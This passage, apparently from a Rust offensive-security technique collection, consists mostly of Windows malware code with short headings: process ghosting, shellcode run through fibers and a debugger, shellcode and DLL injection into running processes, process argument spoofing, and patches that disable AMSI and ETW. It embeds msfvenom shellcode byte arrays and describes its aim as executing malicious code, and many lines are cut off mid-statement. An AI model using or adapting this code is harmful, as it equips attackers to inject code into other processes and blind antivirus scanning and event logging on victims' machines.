    println!("[+] PATH TEMP: {}", path_nt);

    let h_section = create_section_file(path_nt, &buffer)?
    create_process(h_section, buffer)?;

    Ok(())
}

///
/// Creating a section for the temporary file
///
fn create_section_file(path: String, buffer: &[u8]) -> Res
    let mut file_info = FILE_DISPOSITION_INFORMATION { Del
    let mut unicode_string : UNICODE_STRING = unsafe { std
    let mut object_attributes: OBJECT_ATTRIBUTES = unsafe
    let path_name = U16CString::from_str(path).unwrap();

    unsafe { RtlInitUnicodeString(&mut unicode_string, pat
    unsafe { InitializeObjectAttributes(&mut object_attrib
```

```
    let mut io_status_block: IO_STATUS_BLOCK = unsafe { st
    let mut h_file = null_mut();
    let mut h_section = null_mut();

    let mut status = unsafe {
        NtOpenFile(
            &mut h_file,
            GENERIC_READ | GENERIC_WRITE | DELETE | SYNCHR
            &mut object_attributes,
            &mut io_status_block,
            FILE_SHARE_READ | FILE_SHARE_WRITE,
            FILE_SUPERSEDE | FILE_SYNCHRONOUS_IO_NONALERT,
        )
    };

    if !NT_SUCCESS(status) {
        return Err(format!("[!] NtOpenFile Failed With Sta
    }

    status = unsafe {
        NtSetInformationFile(
            h_file,
            &mut io_status_block,
            &mut file_info as *mut _ as *mut c_void,
            size_of::<FILE_DISPOSITION_INFORMATION>() as u
            FileDispositionInformation,
        )
    };

    if !NT_SUCCESS(status) {
        return Err(format!("[!] NtSetInformationFile Faile
    }

    let mut byte_offset: LARGE_INTEGER = unsafe { std::mem
    status = unsafe {
        NtWriteFile(
```

```
            h_file,
            null_mut(),
            None,
            null_mut(),
            &mut io_status_block,
            buffer.as_ptr() as _,
            buffer.len() as u32,
            &mut byte_offset,
            null_mut(),
        )
    };

    if !NT_SUCCESS(status) {
        return Err(format!("[!] NtWriteFile Failed With St
    }

    status = unsafe {
        NtCreateSection(
            &mut h_section,
            SECTION_ALL_ACCESS,
            null_mut(),
            null_mut(),
            PAGE_READONLY,
            SEC_IMAGE,
            h_file,
        )
    };

    if !NT_SUCCESS(status) {
        return Err(format!("[!] NtCreateSection Failed Wit
    }

    unsafe { NtClose(h_file) };

    Ok(h_section)
}
```

```
///
/// Creating a process from the section obtained
///
fn create_process(h_section: HANDLE, buffer: Vec<u8>) -> R
    let mut h_process = null_mut();
    let mut status = unsafe {
        NtCreateProcessEx(
            &mut h_process,
            PROCESS_ALL_ACCESS,
            null_mut(),
            NtCurrentProcess,
            PROCESS_CREATE_FLAGS_INHERIT_HANDLES,
            h_section,
            null_mut(),
            null_mut(),
            0,
        )
    };

    unsafe { println!("[+] Process Ghosting PID: {}", GetP

    if !NT_SUCCESS(status) {
        return Err(format!("[!] NtCreateProcessEx Failed W
    }

    let base_address = init_params(h_process)?;
    let address_entrypoint = search_entrypoint(&buffer)?;
    let entry_point = ((base_address as usize) + address_e
    let mut h_thread = null_mut();

    status = unsafe {
        NtCreateThreadEx(
            &mut h_thread,
            THREAD_ALL_ACCESS,
            null_mut(),
```

```
            h_process,
            entry_point,
            null_mut(),
            0,
            0,
            0,
            0,
            null_mut(),
        )
    };

    if !NT_SUCCESS(status) {
        return Err(format!("[!] NtCreateThreadEx Failed Wi
    }

    Ok(())
}

///
/// Updating RTL_USER_PROCESS_PARAMETERS to start the proc
///
fn init_params(h_process: HANDLE) -> Result<*mut c_void, S
    let command_line = U16CString::from_str("C:\\Windows\\
    let current_directory = U16CString::from_str("C:\\Wind
    let image_path = U16CString::from_str("C:\\Windows\\Sy

    let mut user_proc_params: PRTL_USER_PROCESS_PARAMETERS
    let mut process_basic_information: PROCESS_BASIC_INFOR
    let mut peb: PEB = unsafe { std::mem::zeroed() };

    let mut enviroment = null_mut();
    unsafe { CreateEnvironmentBlock(&mut enviroment, null_

    let mut u_command_line: UNICODE_STRING = unsafe { std:
    let mut u_current_directory: UNICODE_STRING = unsafe {
    let mut u_image_path: UNICODE_STRING = unsafe { std::m
```

```
    unsafe {
        RtlInitUnicodeString(&mut u_command_line, command_
        RtlInitUnicodeString(&mut u_current_directory, cur
        RtlInitUnicodeString(&mut u_image_path, image_path
    };

    let mut status = unsafe {
        RtlCreateProcessParametersEx(
            &mut user_proc_params,
            &mut u_image_path,
            null_mut(),
            &mut u_current_directory,
            &mut u_command_line,
            enviroment,
            null_mut(),
            null_mut(),
            null_mut(),
            null_mut(),
            RTL_USER_PROC_PARAMS_NORMALIZED
        )
    };

    if !NT_SUCCESS(status) {
        return Err(format!("[!] RtlCreateProcessParameters
    }

    status = unsafe {
        NtQueryInformationProcess(
            h_process,
            ProcessBasicInformation,
            &mut process_basic_information as *mut _  as *
            std::mem::size_of::<PROCESS_BASIC_INFORMATION>
            null_mut()
        )
    };
```

```
    if !NT_SUCCESS(status) {
        return Err(format!("[!] NtQueryInformationProcess
    }

    status = unsafe {
        NtReadVirtualMemory(
            h_process,
            process_basic_information.PebBaseAddress as *m
            &mut peb as *mut _ as *mut c_void,
            std::mem::size_of::<PEB>(),
            null_mut()
        )
    };

    if !NT_SUCCESS(status) {
        return Err(format!("[!] NtReadVirtualMemory Failed
    }

    println!("[+] Address PEB: {:?}", process_basic_inform

    let mut user_proc_base = user_proc_params as usize;
    let mut user_proc_end = unsafe { (user_proc_params as
    unsafe {
        if !(*user_proc_params).Environment.is_null() {
            if user_proc_params as usize > (*user_proc_par
                user_proc_base = (*user_proc_params).Envir
            }

            if ((*user_proc_params).Environment as usize)
                user_proc_end = ((*user_proc_params).Envir
            }
        }
    }

    let mut size_param = user_proc_end - user_proc_base;
```

```
    let mut base_address = user_proc_params as *mut c_void

    status = unsafe {
        NtAllocateVirtualMemory(
            h_process,
            &mut base_address,
            0,
            &mut size_param,
            MEM_COMMIT | MEM_RESERVE,
            PAGE_READWRITE
        )
    };

    if !NT_SUCCESS(status) {
        return Err(format!("[!] NtAllocateVirtualMemory Fa
    }

    let mut number_of_write  = 0;
    status = unsafe {
        NtWriteVirtualMemory(
            h_process,
            user_proc_params as *mut c_void,
            user_proc_params as *mut c_void,
            (*user_proc_params).Length as usize,
            &mut number_of_write
        )
    };

    if !NT_SUCCESS(status) {
        return Err(format!("[!] NtWriteVirtualMemory Faile
    }

    unsafe {
        if !(*user_proc_params).Environment.is_null() {
            status = NtWriteVirtualMemory(
                h_process,
```

```
                (*user_proc_params).Environment,
                (*user_proc_params).Environment,
                (*user_proc_params).EnvironmentSize,
                &mut number_of_write
            );

            if !NT_SUCCESS(status) {
                return Err(format!("[!] NtWriteVirtualMemo
            }
        }

        let peb_base_address: *mut PEB = process_basic_inf
        let remote_process_parameters_address = &mut (*peb

        status = NtWriteVirtualMemory(
            h_process,
            remote_process_parameters_address,
            &user_proc_params as *const _ as *mut c_void,
            std::mem::size_of::<*mut c_void>(),
            &mut number_of_write
        );

        if !NT_SUCCESS(status) {
            return Err(format!("[!] NtWriteVirtualMemory [
        }
    }

    Ok(peb.ImageBaseAddress)
}

///
/// Fetching the RVA AddressOfEntryPoint to start a thread
///
fn search_entrypoint(buffer: &[u8]) -> Result<usize, Strin
    unsafe {
        let dos_header = buffer.as_ptr() as *mut IMAGE_DOS
```

```
        let nt_header = (dos_header as usize + (*dos_heade
        if (*nt_header).Signature != IMAGE_NT_SIGNATURE {
            return Err("IMAGE NT SIGNATURE INVALID".to_str
        }

        Ok((*nt_header).OptionalHeader.AddressOfEntryPoint
    }
}
```

▼ Payload Execution Fibers

Running shellcode using Fibers.

```
use windows::Win32::System::Threading::{CreateFiber, Switc

#[link_section = ".text"]
static SHELLCODE: [u8; 279] = [
    0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00,
    0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60,
    0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7, 0x4a,
    0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1,
    0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b, 0x42,
    0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48,
    0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48,
    0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac,
    0x38, 0xe0, 0x75, 0xf1, 0x4c, 0x03, 0x4c, 0x24, 0x08,
    0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x41, 0x8b,
    0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01, 0xd0,
    0x41, 0x58, 0x41, 0x59, 0x41, 0x5a, 0x48, 0x83, 0xec,
    0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d, 0x01,
    0x6f, 0x87, 0xff, 0xd5, 0xbb, 0xf0, 0xb5, 0xa2, 0x56,
    0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a,
    0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89, 0xda,
    0x61, 0x64, 0x2e, 0x65, 0x78, 0x65, 0x00,
```

```
];

fn main() {
    unsafe {
        let fiber_address = CreateFiber(0, Some(std::mem::
        ConvertThreadToFiber(None);
        let _ = SwitchToFiber(fiber_address);
    }
}
```

▼ Process Hypnosis

This technique focuses on controlling the execution flow of a program that is being debugged and obtaining relevant information from it, such as the creation of new threads, loaded modules, exceptions and much more. Or even execute a

```
use std::{ffi::c_void, mem::size_of};
use widestring::U16CString;
use windows::{
    core::{s, PWSTR},
    Win32::{
        Foundation::{DBG_CONTINUE, EXCEPTION_BREAKPOINT, H
        System::{
            Diagnostics::Debug::*,
            Threading::*,
        },
    },
};

fn main() -> Result<(), Box<dyn std::error::Error>> {

    // msfvenom -p windows/x64/exec CMD=calc.exe -f rust
    let shellcode: [u8; 276] = [
        0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x
```

```
        0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x
        0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x
        0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x
        0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x
        0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x
        0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44, 0x8b, 0x40, 0x
        0xff, 0xc9, 0x41, 0x8b, 0x34, 0x88, 0x48, 0x01, 0x
        0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x
        0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x
        0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44, 0x8b, 0x40, 0x
        0x88, 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x
        0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0x
        0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x
        0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d, 0x01, 0x01, 0x
        0x87, 0xff, 0xd5, 0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x
        0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x
        0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x
        0x63, 0x2e, 0x65, 0x78, 0x65, 0x00,
    ];

    let mut process_information = PROCESS_INFORMATION::def
    let mut debug_info = DEBUG_EVENT::default();
    let mut startup_info = STARTUPINFOW::default();
    startup_info.cb = size_of::<STARTUPINFOW>() as u32;
    let path_name = U16CString::from_str("C:\\Windows\\Sys

    unsafe {
        CreateProcessW(
            None,
            PWSTR(path_name.as_ptr() as _),
            None,
            None,
            false,
            DEBUG_ONLY_THIS_PROCESS,
            None,
            None,
```

```
            &startup_info,
            &mut process_information,
        ).map_err(|e| format!("[!] CreateProcessW Failed W

        for num in 0..7 {
            if WaitForDebugEvent(&mut debug_info, 5000).is

                match debug_info.dwDebugEventCode {
                    CREATE_PROCESS_DEBUG_EVENT => {
                        println!("[+] Process PID: {}", de
                        println!("[+] Thread TID: {}", deb
                        println!("[+] StartAddress: {:?}",
                        println!("[+] Process Main Thread:
                    },

                    CREATE_THREAD_DEBUG_EVENT => {
                        println!("\n[+] Thread Created: {:
                        println!("[+] Thread HANDLE: {:?}"
                        println!("[+] Thread ThreadLocalBa
                    },

                    LOAD_DLL_DEBUG_EVENT => {
                        let mut buffer = [0u8; size_of::<u
                        let mut return_number = 0;
                        if ReadProcessMemory(
                            process_information.hProcess,
                            debug_info.u.LoadDll.lpImageNa
                            buffer.as_mut_ptr() as _,
                            size_of::<usize>(),
                            Some(&mut return_number)
                        ).is_ok() {

                            let dll_address = usize::from_
                            let mut image_name = vec![0u16
                            println!("\n[+] DLL ADDRESS: {
```

```
                            if ReadProcessMemory(
                                process_information.hProce
                                dll_address,
                                image_name.as_mut_ptr() as
                                image_name.len(),
                                Some(&mut return_number)
                            ).is_ok() {

                                if let Some(first_null) =
                                    image_name.truncate(fi
                                }

                                let dll_name = String::fro
                                println!("[+] DLL Name: {}
                            }
                        }

                        println!("[+] DLL Base Address: {:
                        println!("[+] DLL H_File: {:?}", d
                    },

                    EXCEPTION_DEBUG_EVENT => {
                        if debug_info.u.Exception.Exceptio
                            println!("[+] Breakpoint was s
                        }
                    },
                    _ => {}
                }

                if num == 6 {
                    let mut number_of_write = 0;
                    WriteProcessMemory(
                        process_information.hProcess,
                        std::mem::transmute::<_, *mut c_vo
                        shellcode.as_ptr() as _,
                        shellcode.len(),
```

```
                        Some(&mut number_of_write),
                    ).map_err(|e| format!("[!] WriteProces

                    DebugActiveProcessStop(process_informa
                }
            }

            if num < 6 {
                ContinueDebugEvent(
                    process_information.dwProcessId,
                    process_information.dwThreadId,
                    DBG_CONTINUE,
                ).map_err(|e| format!("[!] ContinueDebugEv
            }
        }

        SymInitialize(HANDLE(0xffffffffffffffffu64 as _),

        let mut symbol = SYMBOL_INFO::default();
        symbol.SizeOfStruct = size_of::<SYMBOL_INFO>() as

        SymFromName(HANDLE(0xffffffffffffffffu64 as _), s!
        println!("\n[+] Example Address VirtualAllocEx: {:

        SymFromName(HANDLE(0xffffffffffffffffu64 as _), s!
        println!("[+] Example Address CreateRemoteThread:

        SymFromName(HANDLE(0xffffffffffffffffu64 as _), s!
        println!("[+] Example Address NtProtectVirtualMemo
    };

    Ok(())
}
```

▼ Payload Placement

Storing a shellcode in the .text section and then executing it.

```
#[link_section = ".text"]
static SHELLCODE: [u8; 279] = [
    0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00,
    0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60,
    0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7, 0x4a,
    0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1,
    0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b, 0x42,
    0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48,
    0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48,
    0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac,
    0x38, 0xe0, 0x75, 0xf1, 0x4c, 0x03, 0x4c, 0x24, 0x08,
    0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x41, 0x8b,
    0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01, 0xd0,
    0x41, 0x58, 0x41, 0x59, 0x41, 0x5a, 0x48, 0x83, 0xec,
    0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d, 0x01,
    0x6f, 0x87, 0xff, 0xd5, 0xbb, 0xf0, 0xb5, 0xa2, 0x56,
    0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a,
    0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89, 0xda,
    0x61, 0x64, 0x2e, 0x65, 0x78, 0x65, 0x00,
];

fn main() {
    let shellcode: fn() = unsafe { std::mem::transmute(&SH
    shellcode()
}
```

▼ Process Injection (Shellcode)

It exploits shellcode injection directly into running processes to control or execute malicious tasks.

```rust
#![allow(unused_must_use)]

use std::mem::transmute;
use sysinfo::{PidExt, ProcessExt, System, SystemExt};
use windows::Win32::{
    Foundation::{CloseHandle, HANDLE},
    System::{
        Diagnostics::Debug::WriteProcessMemory,
        Memory::{
            VirtualAllocEx, MEM_COMMIT, MEM_RESERVE, PAGE_
        },
        Threading::{
            CreateRemoteThread, OpenProcess, WaitForSingle
        },
    },
};

fn find_process(name: &str) -> Result<HANDLE, String> {
    let mut system = System::new_all();
    system.refresh_all();

    for (pid, process) in system.processes() {
        if process.name() == name {
            let pid = pid.as_u32();
            let hprocess = unsafe { OpenProcess(PROCESS_AL
            if hprocess.is_err() {
                return Err(String::from(format!("Failed to
            } else {
                return Ok(hprocess.unwrap());
            }
        }
    }

    return Err(String::from("Process not found"));
}
```

```
fn main() {
    // msfvenom -p windows/x64/exec CMD=calc.exe -f rust
    let buf: [u8; 276] = [
        0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x
        0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x
        0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x
        0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x
        0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x
        0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x
        0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44, 0x8b, 0x40, 0x
        0xff, 0xc9, 0x41, 0x8b, 0x34, 0x88, 0x48, 0x01, 0x
        0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x
        0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x
        0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44, 0x8b, 0x40, 0x
        0x88, 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x
        0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0x
        0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x
        0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d, 0x01, 0x01, 0x
        0x87, 0xff, 0xd5, 0xbb, 0xaa, 0xc5, 0xe2, 0x5d, 0x
        0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x
        0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x
        0x63, 0x2e, 0x65, 0x78, 0x65, 0x00,
    ];

    let h_process = find_process("Notepad.exe").unwrap_or_
        panic!("[!] find_process Failed With Error: {e}");
    });

    unsafe {
        println!("[+] Allocating Memory in the Process");
        let address = VirtualAllocEx(
            h_process,
            None,
            buf.len(),
            MEM_COMMIT | MEM_RESERVE,
```

```
            PAGE_EXECUTE_READ,
        );

        if address.is_null() {
            CloseHandle(h_process);
            panic!("[!] Failed to Allocate Memory in Targe
        }

        println!("[+] Writing to memory");
        WriteProcessMemory(h_process, address, buf.as_ptr(
            CloseHandle(h_process);
            panic!("[!] WriteProcessMemory Failed With Err
        });

        println!("[+] Creating a Remote Thread");
        let h_thread = CreateRemoteThread(
            h_process,
            None,
            0,
            Some(transmute(address)),
            None,
            0,
            None,
        ).unwrap_or_else(|e| {
            CloseHandle(h_process);
            panic!("[!] CreateRemoteThread Failed With Err
        });

        println!("[+] Executed!!");
        WaitForSingleObject(h_thread, INFINITE);

        CloseHandle(h_process);
        CloseHandle(h_thread);
    }
}
```

▼ Process Injection (DLL)

It focuses on injecting dynamic link libraries (DLL) into running processes to execute malicious code.

```
use std::mem::{size_of, transmute};
use windows::{
    core::{s, w},
    Win32::{
        Foundation::CloseHandle,
        System::{
            Diagnostics::Debug::WriteProcessMemory,
            LibraryLoader::{GetModuleHandleW, GetProcAddre
            Memory::{VirtualAllocEx, MEM_COMMIT, MEM_RESER
            Threading::{CreateRemoteThread, OpenProcess, P
        },
    },
};

fn main() {
    unsafe {
        let args: Vec<String> = std::env::args().collect()
        if args.len() != 3 {
            println!(".\\Dllinjection_rs.exe <pid> <path>"
            return;
        }

        let pid = args[1].parse::<u32>().unwrap_or_else(|_
            panic!("[!] PID error format");
        });

        let path = &args[2];
        let dll: Vec<u16> = path.encode_utf16().collect();

        let proc_address = GetProcAddress(GetModuleHandleW
```

```
        let hprocess = OpenProcess(PROCESS_ALL_ACCESS, fal
            panic!("[!] OpenProcess Failed With Error: {e}
        });

        let address = VirtualAllocEx(
            hprocess,
            None,
            dll.len() * size_of::<u16>(),
            MEM_RESERVE | MEM_COMMIT,
            PAGE_READWRITE,
        );

        WriteProcessMemory(
            hprocess,
            address,
            dll.as_ptr() as _,
            dll.len() * size_of::<u16>(),
            None,
        ).unwrap_or_else(|e| {
            panic!("[!] WriteProcessMemory Failed With Err
        });

        let hthread = CreateRemoteThread(
            hprocess,
            None,
            0,
            Some(transmute(proc_address)),
            Some(address),
            0,
            None,
        ).unwrap_or_else(|e| {
            panic!("[!] CreateRemoteThread Failed With Err
        });

        CloseHandle(hprocess);
```

```
        CloseHandle(hthread);
    }
}
```

▼ Process Argument Spoofing

Exploits the technique of masking or altering the arguments of a process to hide malicious activity.

```
use memoffset::offset_of;
use std::{ffi::c_void, mem::size_of};
use windows::core::{w, PWSTR};
use windows::Wdk::System::Threading::{NtQueryInformationPr
use windows::Win32::Foundation::{CloseHandle, HANDLE, UNIC
use windows::Win32::System::Diagnostics::Debug::{ReadProce
use windows::Win32::System::Threading::{
    CreateProcessW, ResumeThread, WaitForSingleObject, CRE
    INFINITE, PEB, PROCESS_BASIC_INFORMATION, PROCESS_INFO
    STARTUPINFOW,
};

fn main() {
    let mut startup_info = STARTUPINFOW::default();
    let mut pi = PROCESS_INFORMATION::default();
    let mut pbi = PROCESS_BASIC_INFORMATION::default();
    let mut ppeb = PEB::default();
    let mut p_params = RTL_USER_PROCESS_PARAMETERS::defaul
    let mut return_len: u32 = 0;

    unsafe {
        // Creating a process in suspended mode
        let mut start_argument: Vec<u16> = "powershell.exe
        startup_info.cb = size_of::<STARTUPINFOW>() as u32

        let _process = CreateProcessW(
```

```
            None,
            PWSTR(start_argument.as_mut_ptr()),
            None,
            None,
            false,
            CREATE_SUSPENDED | CREATE_NO_WINDOW,
            None,
            w!("C:\\Windows\\System32\\"),
            &mut startup_info,
            &mut pi,
        ).unwrap_or_else(|e| {
            panic!("[!] CreateProcessW Failed With Error:
        });

        println!("[+] DONE!");
        println!("[+] Target PID Process: {}", pi.dwProces

        let hprocess = pi.hProcess;
        let hthread = pi.hThread;

        // Retrieving PEB address
        NtQueryInformationProcess(
            hprocess,
            ProcessBasicInformation,
            &mut pbi as *mut _ as *mut c_void,
            size_of::<PROCESS_BASIC_INFORMATION>() as u32,
            &mut return_len,
        );

        println!("[+] Adress to PEB: {:?}", pbi.PebBaseAdd

        // Reading the PEB address
        ReadProcessMemory(
            hprocess,
            pbi.PebBaseAddress as *const c_void,
            &mut ppeb as *mut _ as *mut c_void,
```

```
            size_of::<PEB>(),
            None,
        ).unwrap_or_else(|e| {
            clear(hprocess, hthread);
            panic!("[!] ReadProcessMemory (1) Failed With
        });

        // Reading the RTL_USER_PROCESS_PARAMETERS structu
        ReadProcessMemory(
            hprocess,
            ppeb.ProcessParameters as *const c_void,
            &mut p_params as *mut _ as *mut c_void,
            size_of::<RTL_USER_PROCESS_PARAMETERS>() + 255
            None,
        ).unwrap_or_else(|e| {
            clear(hprocess, hthread);
            panic!("[!] ReadProcessMemory (2) Failed With
        });

        // Changing the Buffer value for the actual comman
        let reajust_argument: Vec<u16> = "powershell.exe -
            .encode_utf16()
            .collect();

        WriteProcessMemory(
            hprocess,
            p_params.CommandLine.Buffer.as_ptr() as _,
            reajust_argument.as_ptr() as _,
            reajust_argument.len() * size_of::<u16>() + 1,
            None,
        ).unwrap_or_else(|e| {
            clear(hprocess, hthread);
            panic!("[!] WriteProcessMemory (1) Failed With
        });

        // Changing the size of CommandLine.Length
```

```
        let new_len_power: usize = "powershell.exe\0".enco
        let offset = ppeb.ProcessParameters as usize + off
        WriteProcessMemory(
            hprocess,
            offset as _,
            &new_len_power as *const _ as *const c_void,
            size_of::<u32>(),
            None,
        ).unwrap_or_else(|e| {
            clear(hprocess, hthread);
            panic!("[!] WriteProcessMemory (2) Failed With
        });

        println!("[+] Thread Executed!!");

        // Resuming the Thread for execution
        ResumeThread(hthread);
        WaitForSingleObject(hthread, INFINITE);

        clear(hprocess, hthread)
    }
}

#[allow(unused_must_use)]
fn clear(hprocess: HANDLE, hthread: HANDLE) {
    unsafe {
        CloseHandle(hprocess);
        CloseHandle(hthread);
    };
}
```

▼ Payload Execution Control

Controlling payload execution through Mutex, Events and Semaphores.

```
use windows::Win32::Foundation::GetLastError;
use windows::Win32::System::Threading::{CreateEventA, Crea
use windows::core::s;

fn main() {
    unsafe {
        events();
        if GetLastError().is_err() {
            println!("{}", "MALWARE RUNNING");
        }
    }
}

unsafe fn mutex() {
    let _ = CreateMutexA(None, false, s!("MalwareA"));
}

unsafe fn semaphore() {
    let _ = CreateSemaphoreA(None, 10, 10, s!("MalwareA"))
}

unsafe fn events() {
    let _ = CreateEventA(None, false, false, s!("MalwareA"
}
```

▼ Patch AMSI

Patching AMSI.

```
use std::ffi::{c_void, CString};
use windows::core::{s, PCSTR};
use windows::Win32::System::LibraryLoader::{GetProcAddress
use windows::Win32::System::Memory::{VirtualProtect, PAGE_

fn main() {
```

```
    let amsi_buffer: *const u8 = CString::new("AmsiScanBuf
    disable_amsi(amsi_buffer);
}

fn disable_amsi(function: *const u8) {
    unsafe {
        let hook: [u8; 1] = [0x75];
        let h_module = LoadLibraryA(s!("AMSI")).unwrap();
        let address = GetProcAddress(h_module, PCSTR(funct
        let address_ptr = address as *mut c_void;
        let mut count = 0;
        loop {
            let opcode_c3 = *(address_ptr as *const u8).ad
            let opcode_cc = *(address_ptr as *const u8).ad
            let opcode_cc_2 = *(address_ptr as *const u8).
            if opcode_c3 == 0xC3 && opcode_cc == 0xCC && o
                break;
            }
            count += 1;
        }

        loop {
            let offset_ptr = address_ptr.add(count) as *co
            if is_patchable(offset_ptr) {

                let mut old_protection = PAGE_PROTECTION_F
                VirtualProtect(
                    offset_ptr as *mut c_void,
                    hook.len(),
                    PAGE_EXECUTE_READWRITE,
                    &mut old_protection,
                ).unwrap_or_else(|e| {
                    panic!("[!] VirtualProtect Failed With
                });

                std::ptr::copy_nonoverlapping(
```

```
                    hook.as_ptr(),
                    offset_ptr as _,
                    hook.len(),
                );

                VirtualProtect(
                    offset_ptr as *mut c_void,
                    hook.len(),
                    old_protection,
                    &mut old_protection,
                ).unwrap_or_else(|e| {
                    panic!("[!] VirtualProtect Failed With
                });

                println!("[+] Patch AMSI Finish!");

                break;
            }
            count -= 1;
        }
    }
}

fn is_patchable(address: *const u8) -> bool{
    unsafe {
        let opcode = *(address as *const u8);
        if opcode != 0x74 {
            return false
        }
        let new_address = *(address.add(std::mem::size_of:
        let mov_address = address.add(std::mem::size_of::<
        if *mov_address == 0xB8 {
            return true
        }
    }
```

```
    false
}
```

▼ Patch ETW

Patching ETW.

```
use std::ffi::{c_void, CString};
use windows::core::{s, PCSTR};
use windows::Win32::System::LibraryLoader::{GetModuleHandl
use windows::Win32::System::Memory::{
    VirtualProtect, PAGE_EXECUTE_READWRITE, PAGE_PROTECTIO
};

fn main() {
    let event_write: *const u8 = CString::new("EtwEventWri
    patch_etw(event_write);
}

fn patch_etw(function: *const u8) {
    unsafe {
        let hook: [u8; 3] = [0x33, 0xC0, 0xC3];
        let h_module = GetModuleHandleA(s!("ntdll.dll")).e
        let address = GetProcAddress(h_module, PCSTR(funct
        let address_ptr = address as *mut c_void;
        let mut count = 0;
        loop {
            let opcode_c3 = *(address_ptr as *const u8).ad
            let opcode_cc = *(address_ptr as *const u8).ad
            if opcode_c3 == 0xC3 && opcode_cc == 0xCC {
                break;
            }
            count += 1;
        }

        loop {
```

```
            let opcode_c3 = *(address_ptr as *const u8).ad
            if opcode_c3 == 0xE8 {
                let relative_offset_ptr = address_ptr.add(

                // Calculates the absolute address of the
                // `count + 5` because the offset is relat
                // which is the current address + size of
                // Patch EtwpEventWrite
                let call_destination_address = address as

                println!("Call destination address: 0x{:X}
                let mut old_protection = PAGE_PROTECTION_F
                VirtualProtect(
                    call_destination_address as *mut c_voi
                    hook.len(),
                    PAGE_EXECUTE_READWRITE,
                    &mut old_protection,
                ).unwrap_or_else(|e| {
                    panic!("[!] VirtualProtect Failed With
                });

                std::ptr::copy_nonoverlapping(
                    hook.as_ptr(),
                    call_destination_address as _,
                    hook.len(),
                );

                VirtualProtect(
                    call_destination_address as *mut c_voi
                    hook.len(),
                    old_protection,
                    &mut old_protection,
                ).unwrap_or_else(|e| {
                    panic!("[!] VirtualProtect Failed With
                });
```

```
